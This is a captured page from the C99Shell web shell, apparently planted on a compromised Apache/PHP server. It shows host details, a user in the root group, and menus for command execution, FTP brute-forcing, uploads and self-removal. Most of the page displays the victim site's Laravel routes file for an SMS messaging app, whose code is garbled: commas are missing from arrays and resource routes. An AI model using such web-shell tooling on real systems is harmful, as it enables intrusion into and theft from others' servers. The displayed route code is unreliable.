!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picotext.picotech.app/public_html/routes/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     web.php (14.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use App\Http\Controllers\Auth\CustomerLoginController;
use 
App\Http\Controllers\Auth\ForgotPasswordController;
use 
App\Http\Controllers\Customer\AuthorizationController;
use 
App\Http\Controllers\Customer\CampaignController;
use 
App\Http\Controllers\Customer\ChatController;
use 
App\Http\Controllers\Customer\ChatResponseController;
use 
App\Http\Controllers\Customer\ComposeController;
use 
App\Http\Controllers\Customer\ContactController;
use 
App\Http\Controllers\Customer\DashboardController;
use 
App\Http\Controllers\Customer\DraftController;
use 
App\Http\Controllers\Customer\FromGroupController;
use 
App\Http\Controllers\Customer\GatewayController;
use 
App\Http\Controllers\Customer\GroupController;
use 
App\Http\Controllers\Customer\InboxController;
use 
App\Http\Controllers\Customer\KeywordController;
use 
App\Http\Controllers\Customer\LabelController;
use 
App\Http\Controllers\Customer\NumberController;
use 
App\Http\Controllers\Customer\ReportController;
use 
App\Http\Controllers\Customer\SenderIdController;
use 
App\Http\Controllers\Customer\SentController;
use 
App\Http\Controllers\Customer\SettingsController;
use 
App\Http\Controllers\Customer\SmsTemplateController;
use 
App\Http\Controllers\Customer\TrashController;
use 
App\Http\Controllers\Customer\WhatsAppNumberController;
use 
App\Http\Controllers\FrontController;
use 
App\Http\Controllers\InboundController;
use 
App\Http\Controllers\ScheduleController;
use 
App\Http\Controllers\UpgradeController;
use 
Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

//#region customer routes

Route::group(['middleware' => 'guest:customer'], function () {
    
Route::get('/login', [CustomerLoginController::class, 'index'])->name('login');
    
Route::post('/login', [CustomerLoginController::class, 'authenticate'])->name('authenticate');

    
Route::get('/sign-up', [CustomerLoginController::class, 'sign_up'])->name('signup');
    
Route::post('/sign-up', [CustomerLoginController::class, 'sign_up_create'])->name('signup');

    
Route::get('password/reset', [ForgotPasswordController::class, 'show_form'])->name('password.request');
    
Route::post('password/reset', [ForgotPasswordController::class, 'sent_email'])->name('password.sent');
    
Route::get('password/reset/confirm', [ForgotPasswordController::class, 'reset_form'])->name('password.reset.confirm');
    
Route::post('password/reset/confirm', [ForgotPasswordController::class, 'reset_confirm'])->name('password.reset.confirm');

    
Route::any('/inbound/{type}', [InboundController::class, 'process'])->name('inbound.process');
    
Route::any('/plivo/webhook/{id}', [InboundController::class, 'plivoWebhook'])->name('plivo.webhook');
    
Route::any('/webhook/deliver', [InboundController::class, 'webhookDeliver'])->name('webhook.deliver');
    
Route::get('/check/schedule', [ScheduleController::class, 'process'])->name('schedule.process');
    
Route::get('/verify/', [CustomerLoginController::class, 'verifyView'])->name('customer.verify.view');
    
Route::get('/verify/customer', [CustomerLoginController::class, 'verify'])->name('customer.verify');
    
Route::get('/gateway/notification', [InboundController::class, 'gatewayStatus'])->name('sms.gateway.status');

});


//Auth customer route
Route::group(['as' => 'customer.''middleware' => ['auth:customer']], function () {
    
Route::get('/logout', [CustomerLoginController::class, 'logout'])->name('logout');
    
Route::group(['auth:customer'], function () {
        
Route::get('/dashboard', [DashboardController::class,'index'])->name('dashboard');
        
Route::get('/download/notice/file', [DashboardController::class,'downloadAttach'])->name('download.notice.file');
        
Route::get('/all/notice', [DashboardController::class,'viewAllNotices'])->name('all.notices');
        
Route::get('/notification/counter', [DashboardController::class,'countNotification'])->name('notification.counter');

        
Route::group(['as' => 'settings.''prefix' => 'settings'], function () {
            
Route::get('/index', [SettingsController::class, 'index'])->name('index');
            
Route::post('/profile-update', [SettingsController::class, 'profile_update'])->name('profile_update');
            
Route::post('/password-update', [SettingsController::class, 'password_update'])->name('password_update');
            
Route::post('/notification-update', [SettingsController::class, 'notification_update'])->name('notification_update');
            
Route::post('/webhook/update', [SettingsController::class, 'webhookUpdate'])->name('webhook_update');
            
Route::post('/data/posting', [SettingsController::class, 'dataPosting'])->name('data_posting');
        });
        
Route::group(['as' => 'smsbox.''prefix' => 'smsbox'], function () {
            
//inbox
            
Route::get('/inbox', [InboxController::class, 'index'])->name('inbox');
            
Route::post('/inbox/trash', [InboxController::class, 'move_trash'])->name('inbox.trash');
            
Route::post('/inbox/change-status', [InboxController::class, 'changeStatus'])->name('inbox.change-status');

            
//sent
            
Route::get('/sent', [SentController::class, 'index'])->name('sent');
            
Route::post('/sent/trash', [SentController::class, 'move_trash'])->name('sent.trash');

            
//draft
            
Route::get('/draft', [DraftController::class, 'index'])->name('draft');
            
Route::post('/draft/store', [DraftController::class, 'store'])->name('draft.store');
            
Route::post('/draft/delete', [DraftController::class, 'delete'])->name('draft.delete');

            
//trash
            
Route::get('/trash', [TrashController::class, 'index'])->name('trash');

            
//compose
            
Route::get('/compose', [ComposeController::class, 'index'])->name('compose');
            
Route::post('/compose/sent', [ComposeController::class, 'sentCompose'])->name('compose.sent');
            
Route::get('/compose/sms/calculate', [ComposeController::class, 'smsCalculate'])->name('compose.sms.calculate');

            
//overview
            
Route::get('/overview', [ComposeController::class, 'overview'])->name('overview');
            
Route::get('/overview/get/data', [ComposeController::class, 'overview_get_data'])->name('overview.get.data');
            
Route::delete('/overview/data/delete', [ComposeController::class, 'overview_data_delete'])->name('overview.data.delete');

            
//Queue
            
Route::get('/queue', [ComposeController::class, 'queueList'])->name('queue');
        });

        
//            WebHook List
        
Route::get('/inbound/webhook/list', [ComposeController::class, 'webhookLists'])->name('inbound.webhook');
//        Get Senders
        
Route::get('/get/senders', [ComposeController::class, 'getSenders'])->name('get.senders');
        
Route::get('/all/senders', [CampaignController::class, 'allSenders'])->name('all.senders');
        
Route::group(['as' => 'numbers.''prefix' => 'phone-numbers'], function () {
            
Route::post('/update-forward', [NumberController::class, 'updateForwardTo'])->name('update-forward');
        });
        
Route::get('/get/all/numbers', [NumberController::class,'getAll'])->name('get.all.numbers');
        
Route::resource('/numbers'NumberController::class);


        
//Dynamic Gateway
        
Route::get('/get/all/gateways', [GatewayController::class,'getAll'])->name('get.all.gateways');
        
Route::resource('/gateway'GatewayController::class);
        
Route::get('/gateway/prefill/data', [GatewayController::class,'getPrefill']);
        
Route::post('/gateway/prefill/store', [GatewayController::class,'storePrefillGateway'])->name('gateway.prefill.store');
        
Route::post('/gateway/prefill/update', [GatewayController::class,'updatePrefillGateway'])->name('gateway.prefill.update');


//      API Token
        
Route::get('/developer', [AuthorizationController::class, 'index'])->name('authorization.token.create');
        
Route::post('/authorization/token/store', [AuthorizationController::class, 'store'])->name('authorization.token.store');


        
//Contacts
        
Route::resource('/contacts'ContactController::class);
        
Route::group(['as' => 'contact.''prefix' => 'contact'], function () {
            
Route::get('/get', [ContactController::class, 'getAll'])->name('get.all');
            
Route::get('/search', [ContactController::class, 'search'])->name('get.search');
            
Route::get('/import/contacts/create', [ContactController::class, 'import_contacts'])->name('import.contacts');
            
Route::post('/import/contacts/show', [ContactController::class, 'import_contacts_show'])->name('import.contacts.show');
            
Route::post('/import/contacts/store', [ContactController::class, 'import_contacts_store'])->name('import.contacts.store');
        });

        
//From Group
        
Route::resource('/from-group'FromGroupController::class);
        
Route::get('/get/all/from-group', [FromGroupController::class, 'show'])->name('get.all.from.group');

        
//Chat Response
        
Route::get('/chat/response/', [ChatResponseController::class, 'index'])->name('chat.response');
        
Route::get('/get/all/chat/response/', [ChatResponseController::class, 'getAll'])->name('get.all.chat.response');
        
Route::post('/chat/response/store', [ChatResponseController::class, 'store'])->name('chat.response.store');
        
Route::post('/chat/response/update', [ChatResponseController::class, 'update'])->name('chat.response.update');
        
Route::get('/chat/response/delete', [ChatResponseController::class, 'delete'])->name('chat.response.delete');

        
//Groups
        
Route::resource('/groups'GroupController::class);
        
Route::group(['as' => 'group.''prefix' => 'group'], function () {
            
Route::get('/get', [GroupController::class, 'getAll'])->name('get.all');
            
Route::post('/bulk/delete', [GroupController::class, 'bulkDelete'])->name('bulk.delete');
            
Route::get('/get/numbers', [GroupController::class, 'getAllNumbers'])->name('get.numbers');
        });
        
Route::get('/export/group/contact/', [GroupController::class, 'exportContact'])->name('export.group.contact');
        
Route::get('/group-records', [GroupController::class, 'groupRecords'])->name('group.records');
        
Route::get('/filtered-records', [GroupController::class, 'filteredRecord'])->name('group.filter.records');
        
Route::post('/new-group', [GroupController::class, 'newGroup'])->name('create.new.group');

        
//Keywords
        
Route::resource('/keywords'KeywordController::class);
        
Route::group(['as' => 'keyword.''prefix' => 'keyword'], function () {
            
Route::get('/get', [KeywordController::class, 'getAll'])->name('get.all');

        });


        
//            Report
        
Route::get('/reports', [ReportController::class, 'report'])->name('reports');
        
Route::get('/get/reports', [ReportController::class, 'getReports'])->name('get.reports');



        
//Campaign Reports
        
Route::get('/campaign/report/', [CampaignController::class, 'report'])->name('campaign.report');
        
//Campaign Statistic
        
Route::get('/campaign/statistic/{id}', [CampaignController::class, 'statistic'])->name('campaign.statistic');

        
//SMS Template For Campaign
        
Route::get('/sms-template', [CampaignController::class, 'smsTemplate'])->name('sms.template.index');

        
Route::resource('/campaign'CampaignController::class);
        
Route::get('/get/sms-template', [CampaignController::class, 'getTemplate'])->name('get.sms.template');
        
Route::get('/get/campaigns', [CampaignController::class, 'getAll'])->name('get.campaings');
        
Route::post('/campaigns/status', [CampaignController::class, 'status'])->name('campaign.status');

        
//sms template
        
Route::post('sms/template', [SmsTemplateController::class, 'store'])->name('sms.template');
        
Route::delete('sms/template/delete', [SmsTemplateController::class, 'delete'])->name('sms.template.delete');

        
//Chat
        
Route::group(['as' => 'chat.''prefix' => 'chat'], function () {
            
Route::get('/index', [ChatController::class, 'index'])->name('index');
            
Route::get('/get/data', [ChatController::class, 'get_data'])->name('get.data');
            
Route::post('/label/update', [ChatController::class, 'label_update'])->name('label.update');
            
Route::get('/get/numbers', [ChatController::class, 'get_numbers'])->name('get.numbers');
            
Route::get('/get/chats', [ChatController::class, 'get_chats'])->name('get.chats');
            
Route::get('/get/chat/response', [ChatController::class, 'get_chat_response'])->name('get.chat.response');
        });

        
Route::post('/exception/', [ChatController::class, 'exception'])->name('exception');
        
Route::post('/add/new/contact', [ChatController::class, 'addNewContact'])->name('add.new.contact');
        
Route::post('/send/contact/data', [ChatController::class, 'sendContactInfo'])->name('send.contact.data');

        
Route::resource('/label'LabelController::class);
        
Route::get('/get/all/labels', [LabelController::class, 'getAll'])->name('get.all.labels');

        
//download sample
        
Route::get('/download/sample/{type}', [SettingsController::class, 'downloadSample'])->name('download.sample');
        
Route::post('/otp/settings', [SettingsController::class, 'otpSettings'])->name('opt.settings');

        
Route::post('/application/setting', [SettingsController::class, 'app_update'])->name('settings.app_update');
        
Route::post('/sending/settings', [SettingsController::class, 'sending_setting'])->name('sending.settings');
        
Route::post('/local/setting', [SettingsController::class, 'local_setting'])->name('settings.local.setting');
        
Route::post('/smtp/update', [SettingsController::class, 'smtp_update'])->name('settings.smtp_update');

        
//Reports
        
Route::get('/reports', [ReportController::class,'report'])->name('reports');
        
Route::get('/message/reports', [ReportController::class,'messageReport'])->name('message.reports');


    });
});

//#endregion

Route::get('/process/email', [ScheduleController::class, 'processEmail'])->name('email.process');

//Db Backup
Route::get('/db/backup', [ScheduleController::class, 'processDbBackup'])->name('db.backup');
//Cron Job
Route::get('/cron/job', [ScheduleController::class, 'cronJob'])->name('cron.job');

Route::get('/process/upgrade', [UpgradeController::class, 'process'])->name('process.upgrade');

Route::redirect('/'url('/login'));

Route::post('/verify/user', [FrontController::class, 'verifyCode'])->name('verify');

Route::get('locale/{type}', [SettingsController::class, 'setLocale'])->name('set.locale');

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--